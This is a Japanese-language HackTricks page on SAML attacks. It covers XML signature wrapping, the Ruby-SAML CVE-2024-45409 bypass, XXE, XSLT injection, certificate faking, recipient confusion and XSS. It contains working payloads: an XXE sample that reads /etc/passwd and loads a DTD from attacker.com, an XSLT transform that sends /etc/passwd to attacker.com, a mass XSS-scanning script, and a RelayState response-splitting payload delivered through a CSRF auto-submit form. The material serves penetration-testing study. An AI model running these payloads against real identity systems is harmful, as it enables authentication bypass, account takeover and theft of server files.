SAML 攻撃

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

基本情報

SAML Basics

ツール

SAMLExtractor: URL または URL のリストを受け取り、SAML consume URL を出力するツール。

XML ラウンドトリップ

XML では、署名された部分がメモリに保存され、その後エンコード/デコードが行われて署名が検証されます。本来そのエンコード/デコードはデータを変更すべきではありませんが、このような場合、検査されるデータと元のデータが同一でない可能性があります

例えば、次のコードを確認してください:

require 'rexml/document'

doc = REXML::Document.new <<XML
<!DOCTYPE x [ <!NOTATION x SYSTEM 'x">]><!--'> ]>
<X>
<Y/><![CDATA[--><X><Z/><!--]]]>
</X>
XML

puts "First child in original doc: " + doc.root.elements[1].name
doc = REXML::Document.new doc.to_s
puts "First child after round-trip: " + doc.root.elements[1].name

REXML 3.2.4 以前でこのプログラムを実行すると、代わりに次の出力になります:

First child in original doc: Y
First child after round-trip: Z

以下は、上のプログラムで REXML が元の XML ドキュメントをどのように見ていたかです:

https://mattermost.com/blog/securing-xml-implementations-across-the-web/

そしてこちらは、一度パースとシリアライズを経た後に REXML がどのように見たかです:

https://mattermost.com/blog/securing-xml-implementations-across-the-web/

この脆弱性とその悪用方法の詳細については以下を参照してください:

XML Signature Wrapping Attacks

In XML Signature Wrapping attacks (XSW), adversaries exploit a vulnerability arising when XML documents are processed through two distinct phases: signature validation and function invocation. These attacks involve altering the XML document structure. Specifically, the attacker injects forged elements that do not compromise the XML Signature’s validity. This manipulation aims to create a discrepancy between the elements analyzed by the application logic and those checked by the signature verification module. As a result, while the XML Signature remains technically valid and passes verification, the application logic processes the fraudulent elements. Consequently, the attacker effectively bypasses the XML Signature’s integrity protection and origin authentication, enabling the injection of arbitrary content without detection.

The following attacks ara based on this blog post and this paper. So check those for further details.

XSW #1

  • Strategy: A new root element containing the signature is added.
  • Implication: The validator may get confused between the legitimate “Response -> Assertion -> Subject” and the attacker’s “evil new Response -> Assertion -> Subject”, leading to data integrity issues.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-1.svg

XSW #2

  • Difference from XSW #1: Utilizes a detached signature instead of an enveloping signature.
  • Implication: The “evil” structure, similar to XSW #1, aims to deceive the business logic post integrity check.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-2.svg

XSW #3

  • Strategy: An evil Assertion is crafted at the same hierarchical level as the original assertion.
  • Implication: Intends to confuse the business logic into using the malicious data.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-3.svg

XSW #4

  • Difference from XSW #3: The original Assertion becomes a child of the duplicated (evil) Assertion.
  • Implication: Similar to XSW #3 but alters the XML structure more aggressively.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-4.svg

XSW #5

  • Unique Aspect: Neither the Signature nor the original Assertion adhere to standard configurations (enveloped/enveloping/detached).
  • Implication: The copied Assertion envelopes the Signature, modifying the expected document structure.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-5.svg

XSW #6

  • Strategy: Similar location insertion as XSW #4 and #5, but with a twist.
  • Implication: The copied Assertion envelopes the Signature, which then envelopes the original Assertion, creating a nested deceptive structure.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-6.svg

XSW #7

  • Strategy: An Extensions element is inserted with the copied Assertion as a child.
  • Implication: This exploits the less restrictive schema of the Extensions element to bypass schema validation countermeasures, especially in libraries like OpenSAML.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-7.svg

XSW #8

  • Difference from XSW #7: Utilizes another less restrictive XML element for a variant of the attack.
  • Implication: The original Assertion becomes a child of the less restrictive element, reversing the structure used in XSW #7.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-8.svg

Tool

You can use the Burp extension SAML Raider to parse the request, apply any XSW attack you choose, and launch it.

Ruby-SAML signature verification bypass (CVE-2024-45409)

影響: Service Provider が脆弱な Ruby-SAML(例: GitLab SAML SSO)を使用している場合、攻撃者が any IdP-signed SAMLResponse を入手すれば、forge a new assertion して任意のユーザーとして認証できる可能性があります。

概要フロー (signature-wrapping style bypass):

  1. SSO POST(Burp またはブラウザの devtools)で legitimate SAMLResponse をキャプチャする。ターゲット SP に対しては任意の IdP-signed SAMLResponse があれば十分です。
  2. 伝送エンコーディングをデコードして raw XML に戻す(典型的な順序): URL decode → Base64 decode → raw inflate.
  3. PoC(例えば Synacktiv のスクリプト)を使い、IDs/NameID/conditions をパッチし、signature references/digests を書き換えて検証が通る一方で SP が攻撃者制御の assertion フィールドを消費するようにする。
  4. パッチ済み XML を再エンコード(raw deflate → Base64 → URL encode)して SAML callback endpoint にリプレイする。成功すれば SP は選択したユーザーとしてログインさせる。

Example using the Synacktiv PoC (input is the captured SAMLResponse blob):

python3 CVE-2024-45409.py -r response.url_base64 -n admin@example.com -o response_patched.url_base64

XXE

If you don’t know which kind of attacks are XXE, please read the following page:

XXE - XEE - XML External Entity

SAML Responses は deflated and base64 encoded XML documents であり、XML External Entity (XXE) attacks に対して脆弱になる可能性があります。SAML Response の XML 構造を操作することで、攻撃者は XXE の脆弱性を悪用しようと試みることができます。以下はそのような攻撃を視覚化した例です:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY    file SYSTEM "file:///etc/passwd">
<!ENTITY dtd SYSTEM "http://www.attacker.com/text.dtd" >]>
<samlp:Response ... ID="_df55c0bb940c687810b436395cf81760bb2e6a92f2" ...>
<saml:Issuer>...</saml:Issuer>
<ds:Signature ...>
<ds:SignedInfo>
<ds:CanonicalizationMethod .../>
<ds:SignatureMethod .../>
<ds:Reference URI="#_df55c0bb940c687810b436395cf81760bb2e6a92f2">...</ds:Reference>
</ds:SignedInfo>
<ds:SignatureValue>...</ds:SignatureValue>
[...]

ツール

Burp の拡張機能SAML Raiderを使用して、SAMLリクエストからPOCを生成し、可能性のあるXXE脆弱性やSAML脆弱性をテストできます。

この講演も参照してください: https://www.youtube.com/watch?v=WHn-6xHL7mI

XSLT via SAML

XSLTの詳細については次を参照してください:

XSLT Server Side Injection (Extensible Stylesheet Language Transformations)

Extensible Stylesheet Language Transformations (XSLT) は、XMLドキュメントをHTML、JSON、PDFなどのさまざまな形式に変換するために使用できます。重要なのは、XSLT変換はデジタル署名の検証より前に実行されるという点です。つまり、有効な署名がなくても攻撃が成功する可能性があり、自己署名または無効な署名でも処理を進めることが可能です。

ここではこの種の脆弱性を確認するためのPOCが見つかります。セクション冒頭で言及した hacktricks ページには payloads が掲載されています。

<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
...
<ds:Transforms>
<ds:Transform>
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="doc">
<xsl:variable name="file" select="unparsed-text('/etc/passwd')"/>
<xsl:variable name="escaped" select="encode-for-uri($file)"/>
<xsl:variable name="attackerUrl" select="'http://attacker.com/'"/>
<xsl:variable name="exploitUrl" select="concat($attackerUrl,$escaped)"/>
<xsl:value-of select="unparsed-text($exploitUrl)"/>
</xsl:template>
</xsl:stylesheet>
</ds:Transform>
</ds:Transforms>
...
</ds:Signature>

ツール

Burp 拡張機能 SAML Raider を使って、SAML リクエストから XSLT の脆弱性を検証するための POC を生成することもできます。

こちらのトークも参照してください: https://www.youtube.com/watch?v=WHn-6xHL7mI

XML Signature Exclusion

The XML Signature Exclusion は、Signature 要素が存在しない場合の SAML 実装の挙動を観察する手法です。Signature 要素が欠落していると、署名検証が行われない場合があり、脆弱となります。通常署名で検証される内容を改変してテストすることで確認できます。

https://epi052.gitlab.io/notes-to-self/img/saml/signature-exclusion.svg

ツール

Burp 拡張機能 SAML Raider を使うこともできます。SAML Response をインターセプトして、Remove Signatures をクリックします。これにより すべての Signature 要素が削除されます。

署名が削除された状態でリクエストをターゲットに進めます。Service が Signature を要求していない場合…

Certificate Faking

Certificate Faking

Certificate Faking は、Service Provider (SP) が SAML Message が信頼された Identity Provider (IdP) によって署名されていることを適切に検証しているか をテストする手法です。これは *self-signed certificate を用いて SAML Response や Assertion に署名し、SP と IdP 間の信頼検証プロセスを評価することで行います。

How to Conduct Certificate Faking

以下は SAML Raider Burp 拡張機能を使った手順です:

  1. SAML Response をインターセプトします。
  2. レスポンスに署名が含まれている場合は、Send Certificate to SAML Raider Certs ボタンで証明書を SAML Raider Certs に送ります。
  3. SAML Raider Certificates タブでインポートした証明書を選択し、Save and Self-Sign をクリックして元の証明書の self-signed クローンを作成します。
  4. Burp の Proxy でインターセプトしたリクエストに戻り、XML Signature ドロップダウンから新しい self-signed 証明書を選択します。
  5. Remove Signatures ボタンで既存の署名をすべて削除します。
  6. 必要に応じて (Re-)Sign Message または (Re-)Sign Assertion ボタンでメッセージまたはアサーションに新しい証明書で署名します。
  7. 署名済みメッセージを転送します。認証が成功する場合、SP が self-signed 証明書で署名されたメッセージを受け入れていることになり、SAML メッセージの検証プロセスに脆弱性がある可能性を示します。

Token Recipient Confusion / Service Provider Target Confusion

Token Recipient Confusion と Service Provider Target Confusion は、Service Provider がレスポンスの想定受信者を正しく検証しているか を確認するものです。要するに、ある認証レスポンスが別のプロバイダ向けに発行されたものであれば、Service Provider はそれを拒否するべきです。ここで重要なのは、SAML Response 内の SubjectConfirmationData 要素にある Recipient フィールドです。このフィールドは Assertion を送信すべき URL を指定します。実際の受信者が想定される Service Provider と一致しない場合、Assertion は無効とされるべきです。

How It Works

SAML Token Recipient Confusion (SAML-TRC) 攻撃が成立するためには、いくつかの条件が必要です。まず、ある Service Provider(SP-Legit)上に有効なアカウントが存在すること。次に、攻撃対象の Service Provider(SP-Target)が SP-Legit と同じ Identity Provider を受け入れていることが必要です。

条件が満たされると攻撃は比較的単純です。共有の Identity Provider を通じて SP-Legit で正規のセッションを開始します。Identity Provider から SP-Legit 宛てに送られる SAML Response をインターセプトします。このインターセプトした SAML Response(元は SP-Legit 向け)を SP-Target に転用します。SP-Target がその Assertion を受け入れ、SP-Legit と同じアカウント名でアクセスを許可した場合、攻撃は成功です。

# Example to simulate interception and redirection of SAML Response
def intercept_and_redirect_saml_response(saml_response, sp_target_url):
"""
Simulate the interception of a SAML Response intended for SP-Legit and its redirection to SP-Target.

Args:
- saml_response: The SAML Response intercepted (in string format).
- sp_target_url: The URL of the SP-Target to which the SAML Response is redirected.

Returns:
- status: Success or failure message.
"""
# This is a simplified representation. In a real scenario, additional steps for handling the SAML Response would be required.
try:
# Code to send the SAML Response to SP-Target would go here
return "SAML Response successfully redirected to SP-Target."
except Exception as e:
return f"Failed to redirect SAML Response: {e}"

XSS in Logout 機能

元の調査はこちらのリンクから参照できます。

directory brute forcing の過程で、次の場所に logout ページが発見されました:

https://carbon-prototype.uberinternal.com:443/oidauth/logout

このリンクにアクセスしたところ、次の場所にリダイレクトされました:

https://carbon-prototype.uberinternal.com/oidauth/prompt?base=https%3A%2F%2Fcarbon-prototype.uberinternal.com%3A443%2Foidauth&return_to=%2F%3Fopenid_c%3D1542156766.5%2FSnNQg%3D%3D&splash_disabled=1

これは base パラメータが URL を受け取ることを明らかにしました。これを踏まえ、URL を javascript:alert(123); に置き換えて XSS (Cross-Site Scripting) 攻撃を仕掛けようという発想が生まれました。

大規模な悪用

From this research:

The SAMLExtractor tool was used to analyze subdomains of uberinternal.com for domains utilizing the same library. Subsequently, a script was developed to target the oidauth/prompt page. This script tests for XSS (Cross-Site Scripting) by inputting data and checking if it’s reflected in the output. In cases where the input is indeed reflected, the script flags the page as vulnerable.

import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
from colorama import init ,Fore, Back, Style
init()

with open("/home/fady/uberSAMLOIDAUTH") as urlList:
for url in urlList:
url2 = url.strip().split("oidauth")[0] + "oidauth/prompt?base=javascript%3Aalert(123)%3B%2F%2FFady&return_to=%2F%3Fopenid_c%3D1520758585.42StPDwQ%3D%3D&splash_disabled=1"
request = requests.get(url2, allow_redirects=True,verify=False)
doesit = Fore.RED + "no"
if ("Fady" in request.content):
doesit = Fore.GREEN + "yes"
print(Fore.WHITE + url2)
print(Fore.WHITE + "Len : " + str(len(request.content)) + "   Vulnerable : " + doesit)

RelayState-based header/body injection to rXSS

一部の SAML SSO エンドポイントは RelayState をデコードし、そのままレスポンスにサニタイズなしで反映します。改行を注入してレスポンス Content-Type を上書きできれば、ブラウザに攻撃者制御の HTML をレンダリングさせ、reflected XSS を達成できます。

  • Idea: abuse response-splitting via newline injection in the reflected RelayState. See also the generic notes in CRLF injection.
  • Works even when RelayState is base64-decoded server-side: supply a base64 that decodes to header/body injection.

Generalized steps:

  1. 改行で始まる header/body injection シーケンスを構成し、Content-Type を HTML に上書きしてから HTML/JS ペイロードを注入する。Concept:
\n
Content-Type: text/html


<svg/onload=alert(1)>
  1. シーケンスを URL-encode する(例):
%0AContent-Type%3A+text%2Fhtml%0A%0A%0A%3Csvg%2Fonload%3Dalert(1)%3E
  1. その URL エンコードされた文字列を base64 エンコードして RelayState に入れる。

Example base64 (from the sequence above):

DQpDb250ZW50LVR5cGU6IHRleHQvaHRtbA0KDQoNCjxzdmcvb25sb2FkPWFsZXJ0KDEpPg==
  1. 構文的に有効な SAMLResponse と加工した RelayState を含む POST を SSO エンドポイント(例: /cgi/logout)に送る。
  2. 配布は CSRF を利用: ターゲットオリジンに対してこれら両方のフィールドを含むクロスオリジンの POST を自動送信するページをホストする。

PoC against a NetScaler SSO endpoint (/cgi/logout):

POST /cgi/logout HTTP/1.1
Host: target
Content-Type: application/x-www-form-urlencoded

SAMLResponse=[BASE64-Generic-SAML-Response]&RelayState=DQpDb250ZW50LVR5cGU6IHRleHQvaHRtbA0KDQoNCjxzdmcvb25sb2FkPWFsZXJ0KDEpPg==

CSRF 配信パターン:

<form action="https://target/cgi/logout" method="POST" id="p">
<input type="hidden" name="SAMLResponse" value="[BASE64-Generic-SAML-Response]">
<input type="hidden" name="RelayState" value="DQpDb250ZW50LVR5cGU6IHRleHQvaHRtbA0KDQoNCjxzdmcvb25sb2FkPWFsZXJ0KDEpPg==">
</form>
<script>document.getElementById('p').submit()</script>

動作する理由: サーバーは RelayState をデコードし、newline injection を許す形でレスポンスに組み込むため、攻撃者がヘッダーとボディに影響を与えられます。Content-Type: text/html を強制すると、ブラウザはレスポンスボディから攻撃者が制御するHTMLをレンダリングします。

References

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする